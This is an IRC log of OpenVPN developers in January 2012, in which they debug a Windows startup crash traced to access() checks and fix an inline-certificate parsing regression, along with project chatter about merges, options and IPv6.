13:12 <@dazo> thx! 13:14 <@dazo> ugh! James have yet another SVN patch ... which does some fun stuff with route.c .... :/ 13:14 * dazo not happy! 13:18 * dazo postpones fixing those merge conflicts to another day 13:18 <@vpnHelper> RSS Update - testtrac: autotools ./configure don't like compat.h <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=330baf2aee70b351cce2d138299118837adbe237> 13:50 * dazo upgraded two production sites to latest master ... seems to work well - one client and one server :) 15:06 <@cron2> dazo: I though the plan was "just ignore the SVN from now on"? 15:07 <@dazo> cron2: well, easy patches can surely be merged in ... but I'm really getting fed up of doing these merge conflicts ...and the complete AS based 2.1 source code is in the git tree as well, so merging over to git for James should be fairly simpler 15:08 <@dazo> (AS based 2.1 source code ... that's the svn/AS-2.1 branch in openvpn-testing 15:09 <@cron2> oh? haven't seen that. But otherwise, yeah. --- Log closed Wed Jan 11 15:39:00 2012 --- Log opened Thu Jan 12 07:25:52 2012 07:25 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:25 -!- Irssi: #openvpn-devel: Total of 16 nicks [6 ops, 0 halfops, 2 voices, 8 normal] 07:25 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 11:31 -!- dazo is now known as dazo_afk 11:37 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:37 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:44 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 16:23 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:23 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:14 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 18:30 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:30 -!- mode/#openvpn-devel [+v krzie] by ChanServ 18:40 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 18:46 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:46 -!- mode/#openvpn-devel [+v krzie] by ChanServ 18:56 -!- d457k [~heiko@exit0.net] has joined #openvpn-devel 18:56 -!- mode/#openvpn-devel [+o d457k] by ChanServ 19:02 -!- EvilJStoker_ [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 19:03 -!- Netsplit *.net <-> *.split quits: @d12fk, dguerri, EvilJStoker 19:03 -!- EvilJStoker_ is now known as EvilJStoker 19:03 -!- Netsplit over, joins: dguerri 19:40 -!- d457k is now known as d12fk 22:32 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 23:32 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:32 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Fri Jan 13 2012 01:49 <@mattock> repos.openvpn.net announcements made 02:05 <@mattock> we got another (third, I think) Trac spammer today 02:06 <@mattock> linked to some japanese sites 02:06 <@mattock> human spammer, had karma of 9 which requires filling in user details in trac preferences and all 02:16 -!- dazo_afk is now known as dazo 02:34 <@mattock> dazo: I'll do a git-bisect on Windows to pinpoint the startup issue 02:34 <@dazo> mattock: great! 03:04 <@mattock> oh yes... bisecting gets kind of difficult due to windows build issues 03:04 <@mattock> last known good version is this: http://build.openvpn.net/downloads/snapshots/openvpn-2.x-master-20111202-wo-startup-test-install.exe.txt 03:08 <@mattock> something happened after this commit: e3f1b6a1f23fa03bad3b954b260f14622f2c9897 03:09 <@mattock> I'll cherry-pick the windows build fixes and see if those cause the issue 03:10 <@mattock> if not, then I'll apply the remaining patches in order 03:10 <@dazo> hmmm 03:11 <@dazo> it might be that we've had some test patches there which never hit master .... 03:12 <@dazo> mattock: that commit is from James' SVN tree .... 03:12 <@mattock> yep, but I don't think that's the issue 03:13 <@mattock> the latest working build was done after that landed in "master" 03:13 <@dazo> ahh, okay 03:13 <@dazo> that landed in master Dec 14th 03:15 <@mattock> build fixes applied cleanly 03:16 <@dazo> speaking of SVN ... james have yet another SVN commit now which causes a big conflict in route.c again .... I'm inclined to ignore that one and let James solve it ... after all the svn/AS-2.1 branch in git is 100% copy of and is up-to-date with his SVN branch ... he just need to do a "git cherry-pick" into master and it'll explode 03:23 <@mattock> probably a good idea 03:23 <@mattock> I think we need to let pain accumulate enough to make a change 03:23 <@mattock> and rather not your pain :P 03:24 -!- d12fk is now known as d457k 03:24 <@dazo> :) 03:24 * dazo will write james an e-mail 03:24 <@mattock> yeah, you should probably mention that you won't merge any of his modifications that are not trivial 03:25 <@mattock> trivial to merge, I mean 03:25 <@dazo> yeah 03:25 <@mattock> to be honest, this is not your problem, it's James' 03:25 <@mattock> his choice 03:26 <@cron2> +417 03:27 <@mattock> the good thing is that once 2.3 alpha gets released, people will start complaining that it does not work with Access Server 03:27 <@dazo> hehe 03:27 <@mattock> good in that james may have to start doing some fixes 03:27 <@dazo> :) 03:27 <@mattock> there's some inline cert parsing error... at least I encountered it 03:49 <@dazo> when building or running? 03:49 <@mattock> seems to be one of these commits: http://pastebin.com/sfaTnZCC 03:50 <@mattock> openvpn fails instantly when trying to launch it 03:50 <@mattock> some MS crash "helper" pops up 03:50 <@mattock> I'll verify this with a known-good version of OpenVPN 03:50 <@mattock> in case the build system got messed up for reason 03:52 <@dazo> hmmm .... I don't see how this is related to "inline cert parsing" 03:55 <@mattock> it's not :) 03:55 <@dazo> uhm .... those commit IDs doesn't match .... 03:55 <@dazo> ahh 03:55 <@mattock> I had to cherry-pick a minimum set of patches using git-am and git-format-patch 03:55 <@mattock> they're local commit ids 03:55 <@dazo> ahh, okay! that explains 03:55 * dazo got worried for a sec 03:58 <@dazo> mattock: can you try to build with the "Move away from openvpn_basename() over to platform provided basename()" patch and the change to compat.c from "New Windows build fixes"? 03:58 <@dazo> and see if the problem appears with that combo? 04:00 <@mattock> actually, James' patches could be the issue... last known-good version was "Fix bug after removing Linux 2.2 support" 04:00 <@mattock> with an additional fix 04:01 <@dazo> nasty 04:01 <@dazo> what's the additional fix= 04:01 <@dazo> ? 04:01 <@mattock> http://build.openvpn.net/downloads/snapshots/openvpn-2.x-master-20111202-wo-startup-test-install.exe.txt 04:01 <@mattock> I'll rebuild that version to rule out any build system issues 04:02 <@dazo> ahh! 04:02 <@dazo> okay, the reason you needed to remove that one patch, is that you're lacking these new commits: 04:02 <@dazo> ec302f7061b7ab4dd21bdac77dd115e75b50cbc0 04:02 <@dazo> a4234e1e26693e8fe6a67eea5824ef02d11c825e 04:02 <@dazo> edf8bbacd18d063e50c6a7f787f7e413d146af87 04:03 <@dazo> so ... could you try:git checkout -b wintest e7d1ac82f9a21ef91030e4f104d4ef0810b07f8e 04:04 <@dazo> git cherry-pick ec302f7061b7ab4dd21bdac77dd115e75b50cbc0 04:04 <@dazo> git cherry-pick a4234e1e26693e8fe6a67eea5824ef02d11c825e 04:04 <@dazo> git cherry-pick edf8bbacd18d063e50c6a7f787f7e413d146af87 04:05 <@dazo> that's a good starting point ... if that works, we'll cherry-pick a few other changes from cron2 (IPv6 related stuff) ... and then we can add the James' stuff to see where it breaks 04:06 <@mattock> ok, could be build system issue related to late tap driver modifications 04:06 <@mattock> hopefully 04:06 <@dazo> yeah, I'm looking at those patches now 04:09 <@mattock> openvpn-wo-startup-test works, had some tap-driver configuration in settings.in 04:10 <@mattock> rebuilt openvpn-wo-startup-test, that is 04:10 <@dazo> that's based on commit e7d1ac82f9a21ef91030e4f104d4ef0810b07f8e with those 3 extra patches? 04:12 <@dazo> I'm guessing commit e3f1b6a1f23fa03bad3b954b260f14622f2c9897 or 840799182c0769c8ac9d014d09a497563516fc0d are causing issues 04:16 <@mattock> HEAD at e3fb6a1 + http://pastebin.com/sfaTnZCC fails 04:16 <@mattock> dazo: I'll take a look at those 04:17 * dazo wonders what HEAD e3fb6a1 points at 04:18 <@mattock> I wonder what dazo means :) 04:18 <@mattock> anyways, I'll remove all of james' latest patches from the middle 04:19 <@dazo> I can't find commit e3fb6a1 04:19 <@dazo> mattock: quick solution ... git revert <commitish> 04:19 <@mattock> oh, typo 04:19 <@mattock> e3f1b6a1f23f 04:19 <@dazo> ahh 04:19 <@dazo> that's "expected" to fail ... as that's including james' patches 04:20 <@mattock> do you have any git magic for "remove these n patches from the middle"? 04:20 <@dazo> git revert 04:20 <@mattock> ok 04:20 <@mattock> one learns something every day :) 04:20 <@dazo> :) 04:23 -!- stdudz [~stdudz@cpc4-newc15-2-0-cust168.gate.cable.virginmedia.com] has joined #openvpn-devel 04:25 <@mattock> builds fine without james' patches... 04:29 <@mattock> hmm, still fails 04:29 <@dazo> hmm 04:30 <@dazo> what happens? do you have any log info? 04:30 <@mattock> got to go run some errands and get lunch 04:30 <@mattock> no logs 04:30 <@mattock> it never gets that far 04:31 <@mattock> I think I'll manually bisect it further after lunch 04:31 <@mattock> if you have any suggestions which commits to revert I'm all ears :) 04:36 -!- stdudz [~stdudz@cpc4-newc15-2-0-cust168.gate.cable.virginmedia.com] has quit [Read error: Operation timed out] 04:50 -!- stdudz [~stdudz@93-97-250-212.zone5.bethere.co.uk] has joined #openvpn-devel 04:51 < stdudz> hey all, ive been trying to find a way to obfuscate the tls handshake from l7-filters, as part of my university project. An idea I am looking at is to encode the tls handshake packets in base64. I've been looking at the source for a while to see where and how it could be implemented. Do you guys think it is reasonably possible to do this? Or should I look at another way to hide the packets that might be easier? 05:00 <@dazo> stdudz: base64 will only create a nasty overhead ... obfuscating isn't really going to help out ... it's probably easier to just modify the protocol to escape the l7 filters radar 05:01 <@dazo> echo -n "hello" | base64 .... that gives 8 bytes, in other words adding 3 bytes extra ... you don't want that with VPNs, as it'll slow down the transport 05:15 < stdudz> i understand that, but how about only doing it for the handshaking part? a function could then detect if the packet data is entirely base64, if it is, then it must be part of the negotiation 05:17 < stdudz> even keeping one part of the negotiation in plaintext, like the session_id. It won't be too much bother if only the negotiation is a bit larger 05:18 <@dazo> stdudz: if it's a decent l7filter ... it will also catch the other packets as well, not just the handshake 05:30 < stdudz> i understand that too, currently the filters I am looking at don't seem to look for anything else. For a uni project though is it worth doing? The problem with changing the protocol is that it might be a bit too simple. However if I can hide much or all of the negotiation so the packets can't be read and dropped, and prove it works in that people behind filters can use it, then that is good enough for getting a good grade. It's wh 05:30 < stdudz> ether its reasonably possible to do this, or would substantial changes to the code be needed? I was thinking of keeping part of the packet in plaintext, like session_id then encoding the rest. 05:31 -!- d457k is now known as d12fk 05:33 <@dazo> stdudz: the thing is, you can't really hide any information ... what goes over the wire is visible to all devices which the traffic passes through ... and if there are information you skip, it will break ... if you modify the contents, it's just another l7 filter which needs to be implemented and it'll be blocked again ... the wire data can always be fingerprinted 05:33 <@dazo> Skype tries some similar approaches as well ... and yet there are l7 filters kicking in blocking that type of data 05:59 -!- stdudz [~stdudz@93-97-250-212.zone5.bethere.co.uk] has quit [Ping timeout: 252 seconds] 07:11 <@mattock> mkay, back to the fun of bisecting on windows 07:11 <@dazo> :) 07:48 <@mattock> here's current list of non-offending commits: https://community.openvpn.net/openvpn/ticket/190 07:48 <@vpnHelper> Title: #190 (OpenVPN built from "master" fails to start) – OpenVPN Community (at community.openvpn.net) 07:50 <@mattock> I'll revert gert's commits next 07:52 <@vpnHelper> RSS Update - tickets: #190: OpenVPN built from "master" fails to start <https://community.openvpn.net/openvpn/ticket/190> 07:59 <@mattock> gert is safe 08:10 <@cron2> puh 08:20 <@mattock> we're down to just a few: https://community.openvpn.net/openvpn/ticket/190 08:20 <@vpnHelper> Title: #190 (OpenVPN built from "master" fails to start) – OpenVPN Community (at community.openvpn.net) 08:21 <@mattock> I'd blame the access() stuff 08:25 <@mattock> I'll try switching on Visual Studio debugging 08:27 -!- jameslordhz [~jack@60.12.143.134] has quit [Ping timeout: 248 seconds] 08:31 <@mattock> mkay, now we have a call stack... 08:32 <@dazo> neat!!! 08:35 <@mattock> looks like it fails on line 2628 in options.c 08:35 <@mattock> if I understood it correctly 08:35 <@mattock> I'll comment out the check 08:40 <@dazo> if that's it ... then it is the access() stuff which fails 08:40 <@dazo> if (!errcode && (type & CHKACC_FILE) && (access (file, mode) != 0) ) 08:41 <@dazo> And I'm guessing you'll then get a crash on line 2632 08:41 <@mattock> haha, found the stuff 08:41 <@mattock> commenting out the /* Is the file itself accessible */ fixes the issue 08:41 * dazo is curious!!! 08:42 * dazo wonders why .... 08:42 <@dazo> which file does it check? 08:42 <@dazo> (what's the file name) 08:42 -!- jameslordhz [~jack@60.12.143.45] has joined #openvpn-devel 08:43 <@mattock> don't know, I'll reintroduce the issue and look at the debugger 08:50 <@dazo> it's either the file or mode variable which makes it tilt .... make sure you also have --tmpdir and --writepid ... just to see if they trigger other code paths in check_file_access() 08:50 <@dazo> (--status can be an alternative to --writepid) 08:50 <@mattock> hmm, the only file reference is here: c:\Users\Samuli\AppData\Local\Temp\ 08:50 <@mattock> I'll set tmpdir 08:54 <@dazo> I need to improve check_file_access() as well, as it doesn't take --chroot paths in consideration ... it's run too early 08:54 <@dazo> but I'll look into that when this access() stuff is solved in Windows first 08:56 <@mattock> yeah, it fails when checking --tmp-dir 08:57 <@mattock> I changed that to ...\Temp2 08:57 <@mattock> and now that's the path that pops up 08:57 <@dazo> it crashes, you mean? 08:57 <@mattock> yep 08:57 <@dazo> so _access() is troublesome .... *grrrr* 08:57 <@mattock> I'll update the bug report again 08:58 <@dazo> humm!??! 08:59 <@dazo> mattock: try to add in win/config.h.in a line: #define access _access 08:59 <@dazo> see how that explodes 08:59 <@mattock> oki 09:01 <@dazo> (can add it after #define HAVE_ACCESS) 09:06 <@mattock> explodes in the same way 09:08 <@dazo> interesting 09:11 * dazo need to get some lunch/dinner 09:14 <@mattock> well, we know where it fails, now we can fix it 09:14 <@mattock> definitely worth 4 hours :D 09:14 <@mattock> ...damn windows 09:14 <@mattock> :P 09:42 <@mattock> added some debugging stuff to the wiki: 09:42 <@mattock> https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation#Bisectingcommitstodetectintroductionofabug 09:42 <@vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 09:42 <@mattock> https://community.openvpn.net/openvpn/wiki/BuildingOnWindows#Codedebugging 09:42 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 09:43 <@mattock> I'm a bit surprised that Visual Studio actually was useful today 09:43 <@mattock> I assumed we'd get no help from it 09:43 <@mattock> given openvpn.exe was not a visual studio project 09:59 <@dazo> heh 09:59 <@dazo> mattock: can you try to modify that define macro to say: #define access(f, m) {} 10:00 <@dazo> (that will change access() into a NOP .... just to see if the compiler does what we believe it does 10:00 <@mattock> just a sec, I'll try to finish the T-shirt design and send it to raidz 10:00 <@dazo> cool 10:00 <@mattock> with some luck, we might get the shirts before Bruessels 10:01 <@dazo> that'd be nice! JJK said he would come only because of t-shirts .... so better not disappoint him! :-P 10:05 <@mattock> ok, if there are no complaints, that's what I'll send to raidz for ordering: http://www.ooshirts.com/index.php?module=lab&action=customize&saveid=26867044 10:05 <@vpnHelper> Title: ooShirts Custom T-Shirt Design Lab (at www.ooshirts.com) 10:07 <@dazo> works for me! 10:31 <@mattock> mailed raidz 10:31 <@mattock> if we're really lucky, I might get the shirts to the hotel in bruessels 10:31 <@andj> Hi everyone 10:31 <@andj> sorry for the long silence :) 10:31 <@mattock> estimated shipping time (to openvpn tech office) was 27th (provided raidz orders them today 10:31 <@dazo> I thought you were charging up for fosdem, andj ;-) 10:32 <@mattock> andj: hi! 10:32 <@andj> busy times at work :) 10:32 <@andj> but I booked a room in the NH atlanta (if I'm not mistaken) 10:33 <@dazo> (Just discovered a nice site for debugging .... http://www.downforeveryoneorjustme.com/ ) 10:33 <@vpnHelper> Title: Down For Everyone Or Just Me -> Check if your website is down or up? (at www.downforeveryoneorjustme.com) 10:33 <@andj> anyone ever had a problem with compiling OpenVPN on Windows, in combination with the non-blocking connect ifdefs? 10:33 <@mattock> I've had a lot of problems, but not that one :P 10:34 <@dazo> andj: we're constantly having compiling Windows here .... 10:34 <@dazo> troubles compiling! 10:34 <@dazo> (we're also having troubles writing here as well, but that's another story) 10:34 <@mattock> today we didn't have compile problem, but "openvpn compiles fine but does not run" problem 10:35 <@dazo> oh, true .... I easily mix that in the Windows world 10:35 <@dazo> :-P 10:35 <@mattock> fortunately microsoft provides such a solid toolchain that pinpointing the issue was a matter of minutes 10:35 <@andj> sorry, it must be friday, the compile works, but it picks non-blocking connect mode 10:35 <@andj> lol 10:36 <@mattock> well, I was kind of impressed that VS JIT debugger actually worked 10:36 <@mattock> and that debugging build could be enabled easily 12:36 -!- dazo is now known as dazo_afk 12:41 -!- dazo_afk is now known as dazo 12:42 -!- dazo is now known as dazo_afk 15:03 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 16:10 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:10 -!- mode/#openvpn-devel [+o raidz] by ChanServ 22:33 -!- jameslordhz [~jack@60.12.143.45] has quit [Ping timeout: 255 seconds] 22:37 -!- jameslordhz [~jack@60.12.143.45] has joined #openvpn-devel --- Day changed Sat Jan 14 2012 00:16 -!- jameslordhz [~jack@60.12.143.45] has quit [Ping timeout: 260 seconds] 00:22 -!- jameslordhz [~jack@60.12.143.45] has joined #openvpn-devel 01:34 -!- jameslordhz [~jack@60.12.143.45] has quit [Ping timeout: 240 seconds] 01:44 -!- jameslordhz [~jack@60.12.143.45] has joined #openvpn-devel 01:44 < jameslordhz> hi 01:47 -!- jameslordhz [~jack@60.12.143.45] has left #openvpn-devel [] 04:40 -!- mattock [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 11:26 <@vpnHelper> RSS Update - testtrac: Fix pool logging when IPv6 is not enabled <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=cb383dc3bc161c1e4ea6b535097e0f64a725e081> 11:39 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] --- Day changed Sun Jan 15 2012 05:33 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 05:34 -!- mode/#openvpn-devel [+o andj__] by ChanServ 05:36 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 244 seconds] 05:36 -!- andj__ is now known as andj 09:19 <@vpnHelper> RSS Update - wishlist: Proper support for duplicate iroutes. <http://forums.openvpn.net/topic9594.html> 12:48 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:48 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Mon Jan 16 2012 02:20 -!- dazo_afk is now known as dazo 03:50 <@dazo> mattock: what's this issue with inline certs? 03:50 <@dazo> (that's a new issue for me, so I wonder where that broke) 03:50 <@mattock> not sure, I can file a bug report on that... mentioned it here a while back 03:50 <@mattock> I'll test with latest deb snapshots 03:50 <@dazo> cool! sounds good 03:51 <@mattock> in a nutshell, the standard AS client configuration files (with inline certs) are not parsed correctly -> no connection 03:51 <@dazo> hmm ... 03:53 <@dazo> ecrist: no new snapshot has been made yesterday ... something stopped? 04:01 <@vpnHelper> RSS Update - tickets: #191: Test ticket <https://community.openvpn.net/openvpn/ticket/191> 04:01 <@dazo> mattock: I think I've found one issue with inline stuff ... it can't verify that the file '[[INLINE]]' is readable :-P 04:02 <@mattock> ah 04:02 <@mattock> ^^^some user is having issue filing a bug report, please ignore 04:02 <@dazo> not sure if this is what hits you, though 04:02 <@mattock> :) 04:07 -!- Netsplit *.net <-> *.split quits: EvilJStoker, dguerri, waldner 04:08 -!- Netsplit over, joins: dguerri 04:12 <@mattock> dazo: 04:12 <@mattock> Options error: --ca fails with '[[INLINE]]': No such file or directory 04:12 <@mattock> Options error: --cert fails with '[[INLINE]]': No such file or directory 04:12 <@mattock> Options error: --key fails with '[[INLINE]]': No such file or directory 04:12 <@mattock> Options error: --tls-auth fails with '[[INLINE]]': No such file or directory 04:12 <@mattock> Options error: Please correct these errors. 04:12 <@mattock> Use --help for more information. 04:12 <@mattock> can't find the file 04:12 <@dazo> yeah, that's what I'm looking at now :) 04:12 <@dazo> same as I see 04:13 <@mattock> on 2.2.2 it works just fine 04:13 <@dazo> yupp 04:13 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 04:14 <@dazo> it's commit 0f2bc0dd92f43c91e33bba8a66b06b98f281efc1 04:15 <@dazo> $ git branch --contains 0f2bc0dd92f43c91e33bba8a66b06b98f281efc1 04:15 <@dazo> experimental 04:15 <@dazo> * master 04:15 <@dazo> (new feature in 2.3) 04:15 <@cron2> that's the "does the file exist?" patch. Well, extending to check for [[INLINE]] should be easy, no? 04:15 <@cron2> (but do we *care* about AS...?) 04:16 <@mattock> I would emphasize do _we_ 04:16 <@dazo> we care about inline files .... as that's something JJK have written about ... and it's a neat feature :) 04:16 <@mattock> ah, so it's not just an AS thingy 04:16 <@cron2> dazo: well, in that case, the fix should be a two-liner, no? :-) 04:16 <@mattock> entire overhaul of the config system? 04:17 <@mattock> :P 04:17 <@dazo> yeah, something like that ... just do it on those files which is supports inline 04:17 <@cron2> mattock: now that's a 2.4 or 3.0 thing 04:17 <@dazo> ack 04:17 <@mattock> yeah, I know 04:17 <@dazo> config system is working wonderfully ... but it's too clever written with too little documentation 04:17 <@cron2> we have too many options 04:18 * cron2 would like to review all different variants whether we really need them anymore, like "--persist-tun" - I really can't see a case where I would *not* want this, and having the option adds quite some extra code 04:21 * dazo is puzzled by --extra-certs .... 04:21 <@dazo> (of course, it's not documented, according to the tradition) 04:24 <@mattock> cron2: maybe the opt-in "send my config to OpenVPN project with sensitive info removed" thingy would do the trick 04:24 <@mattock> at least we could gather statistics which options are used and which are not 04:24 <@cron2> mattock: that would assume that people know why they use or not-use certain options 04:25 <@mattock> that's true 04:25 <@mattock> I certainly don't (all the time) :P 04:25 <@cron2> given the bug report I received that didn't use --persist-tun - he didn't use it because he didn't know it is a useful option 04:25 <@cron2> (and the problem appeared in the first case due to misunderstood --ping and --ping-timeout settings...) 04:26 <@mattock> then we have the traditional "remove and see if there are complaints" route 04:26 <@cron2> yeah 04:26 <@mattock> might work for almost certainly always useful options 04:32 <@dazo> (patch sent to ML) 04:34 <@dazo> Maybe we should define the 2.4 release (publicly) as the "Break a leg" release, where we will on purpose break the default behaviour of more options .... to set the sensible things enabled by default (invert current behaviour for those options) and remove those which doesn't seem to make sense at all .... 04:34 <@dazo> then we could also set --comp-lzo auto as the default too 04:35 <@dazo> (which modifies the wire protocol) 04:35 <@cron2> yeah 04:35 <@dazo> (I got a patch already which does that, but reverted it as it's not currently compatible with current defaults .... and enables --comp-lzo disable, which restores the old behaviour) 04:36 <@cron2> dazo: I find your patch fairly complicated 04:36 <@cron2> why not adding the streq() *inside* check_file_access(), and add a new flag CHKACC_FILE_INLINE_OK or something? 04:37 <@dazo> yeah 04:41 <@vpnHelper> RSS Update - tickets: #192: MacOS X build fails <https://community.openvpn.net/openvpn/ticket/192> 05:04 <@dazo> new patch sent 05:07 <@mattock> dazo: excellent! 05:08 <@mattock> dazo, cron2: you're like a tag-team :) 05:08 <@mattock> it's like a three-way handshake 05:10 <@cron2> if we both have time to work at stuff at the same time it works very well, indeed :-) 05:15 <@dazo> :) 05:16 <@vpnHelper> RSS Update - testtrac: Don't check for file presence on inline files <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=06e781f885125b05de0a731743acd90d4492a435> 05:16 <@dazo> git trees pushed out 05:16 <@cron2> woo :) 05:16 <@dazo> beaten by vpnHelper :) 05:16 <@dazo> mattock: I think you don't need to file that trac ticket any more :-P 06:06 <@mattock> except that in one famous meeting we decided to file bug reports even for fixed bugs so that people don't re-report them :) 06:06 <@mattock> I'll file a stub and mark it as fixed 06:07 <@dazo> :-P 06:12 <@vpnHelper> RSS Update - tickets: #193: Inline cert parsing fails <https://community.openvpn.net/openvpn/ticket/193> 06:12 <@mattock> btw. I added milestone 2.2.3 and version 2.2.2 06:12 <@mattock> to trac 06:13 <@dazo> ahh, good idea! 06:20 < ecrist> dazo - the build box probably kernel paniced, I'll look at it and build a snapshot in a bit 06:21 < ecrist> that box runs FreeBSD-CURRENT so can be extremely unstable 06:21 < ecrist> ;) 06:21 <@cron2> is openvpn so scary? 06:34 <@mattock> ecrist: maybe you should consider debian unstable as a more stable OS of choice :P 06:35 <@mattock> occasionally, there are times when it's not broken in some way :D 06:49 -!- waldner_ [waldner@unaffiliated/waldner] has joined #openvpn-devel 06:56 < waldner_> I don't remember: ipv6 addresses for tun/tap over an ipv4 transport is available in 2.1.x, or is that a 2.2 thing? 06:57 -!- waldner_ is now known as waldner 06:57 < waldner> ISTR --tun-ipv6 should work 07:01 < ecrist> mattock: for the most part, freebsd-current is relatively stable, once in a while, I run into weird issues 07:01 <@cron2> waldner_: point-to-point tunnels work in 2.1 (except on windows), point-to-multipoint will work in 2.3 07:02 <@cron2> tap will also work in 2.1 if you ifconfig your stuff manually 07:02 <@cron2> the "great thing" in 2.3 is point-to-multipoint tun with config pushed from the server 07:02 < waldner> cron2: so with --tun-ipv6 in 2.1 you need an explicit ifconfig/ifconfig-push, right? because I guess server{,-bridge} don't support ipv6 addresses 07:02 < waldner> ah, you just said that 07:03 < waldner> cool 07:03 <@cron2> waldner: point-to-point tunnels, and ifconfig needs to be done outside of openvpn (e.g. by an --up script) 07:03 < waldner> or you mean you have to run ifconfig on the comman dline 07:03 < waldner> ah 07:04 <@cron2> 2.1 wouldn't know what an IPv6 address is - it just works because the p2p mode is really "just a pipe", stuff that comes in from the tun interface is transparently stuffed into the VPN and vice versa 07:04 < waldner> yes, like tap 07:04 < waldner> ok thanks 07:04 < waldner> in my case it's a p2p so I may be able to get it working 07:04 <@cron2> tap is "just an ethernet", so OpenVPn will forward based on MAC addresses. But it won't know how to config v6 either. 07:04 < waldner> (no, I can't upgrade, as much as I'd like to) 07:05 <@cron2> I just wanted to suggest running -current :-) 07:06 < waldner> I would if I could, but unfortunately here I can't 07:06 < waldner> production system, people worried to touch it (not me) and all that stuff 07:09 < waldner> I guess this had to happen at some point: http://www.spinics.net/lists/netfilter-devel/msg19979.html 07:09 <@vpnHelper> Title: Linux Netfilter Devel -- [RFC PATCH 00/17] netfilter: IPv6 NAT (at www.spinics.net) 07:10 <@dazo> waldner: chickens :-P ... I actually upgraded to master branch on two production boxes very recently, and it works flawlessly for me 07:10 < waldner> yes, chickens 07:11 < waldner> totally agree 07:12 <@dazo> :) 07:12 < waldner> in this case, there's a further complication that the box is running an older distro and there are no packages in the repo...so it'd have to be backported or installed from source --> chickens screaming more and more 07:12 < waldner> I told them they'll have to do it anyway at some point, but nothing 07:13 <@dazo> waldner: it's easy, quick (and dirty) to write a patch which reports the wrong version number in the openvpn source code .... :-P 07:14 < waldner> in the end, since I'm not directly concerned (I just have to make the change, they'll be the users) I'll just follow the path of least resistence, and when the time comes we'll discuss the upgrade 07:14 <@dazo> waldner: is it paid consultant work? ;-) 07:14 < waldner> if I've learned something, is to not waste time on this kind of discussions 07:14 <@dazo> true :) 07:14 < waldner> no, but I have more important things to do 07:14 <@dazo> :) 07:15 < waldner> I'll just sit on the border of the river, waiting for them to come back asking for the upgrade :-) 07:17 <@dazo> "it broke!!! we need it fixed yesterday!!!" 07:17 < waldner> sure, and then I'll show them the emails where they refused to do things properly 07:18 <@dazo> :) 07:20 <@dazo> So tempting to make it break for them ... just a "whooops, this shouldn't happen" incident ... just to bend in the upgrade :) 07:20 < waldner> yes, but in the end that'd fall on my shoulders... 07:20 < waldner> I mean, I'd have to fix it 07:21 < waldner> and I suspect it wouldn't teach them anything anyway...just make them worry even more 07:22 <@dazo> true, it can backfire if the timing and arguments aren't correct 07:24 < waldner> tbh, I'm getting a bit sick of working with people who can't see further than their nose, but that's what we got at the moment apparently 07:25 < waldner> last gem was renumbering a remote site (~15 machines) because they gave it the same IP range as the office network, so VPN connections didn't work 07:25 <@dazo> hehe 07:25 <@dazo> these reasons are why I love working as a developer and not sysadmin :) 07:26 < waldner> (and they changed it: previously they were using 192.1.1.0/24 "because it looks it hadn't been allocated") 07:26 <@dazo> hahahahaha 07:27 < waldner> I should write a book one day 07:27 <@dazo> :) 07:27 <@cron2> sometimes what I hear about networking in companies fills me with deep despair 07:27 < waldner> yes 07:28 < ecrist> panic: uma_zfree: Attempting to insert an empty bucket onto the full list. 07:29 <@dazo> when I first started doing network stuff in late 90's as a combined sysadmin/developer ... my boss told me to stay away from 192.168.[0-10].0/24 ... as he could easily imagine everyone to use that network range .... I'd say that's quite a prediction at that point 07:29 <@cron2> wise indeed 07:29 < waldner> that actually makes sense 07:29 <@dazo> ecrist: so put the full list into the empty bucket! 07:29 <@cron2> we moved one of our corporate networks to 172.30.1.0/24 for that very reason - and just last week, we had a collision with a VPN partner using the very same network... 07:30 <@dazo> ugh 07:30 < waldner> I use 10.random.random when I can 07:30 < waldner> so far, no collisions (but never say never) 07:30 <@cron2> you'll find someone using 10/8, so "all of it is collision space" 07:30 < waldner> well, hopefully more specific routes will win 07:31 < waldner> but I see what you mean 07:31 < ecrist> dazo: shit, never thought of that! 07:31 <@dazo> :) 07:31 < waldner> 10/24 is wrong, because 10 is a class A net, eh? 07:31 <@cron2> waldner: there are no class A / class B / class C anymore 07:31 <@dazo> waldner: only if you're a network pedantic 07:31 < waldner> (that was sarcastic, in case it wasn't clear) 07:31 <@cron2> but 10.0.0.0/8 is the one RFC1918 has reserved, formerly a Class A 07:31 <@cron2> ah 07:31 * cron2 <- network pedantic 07:32 <@cron2> sorry, can't help 07:32 * ecrist manually rolls the 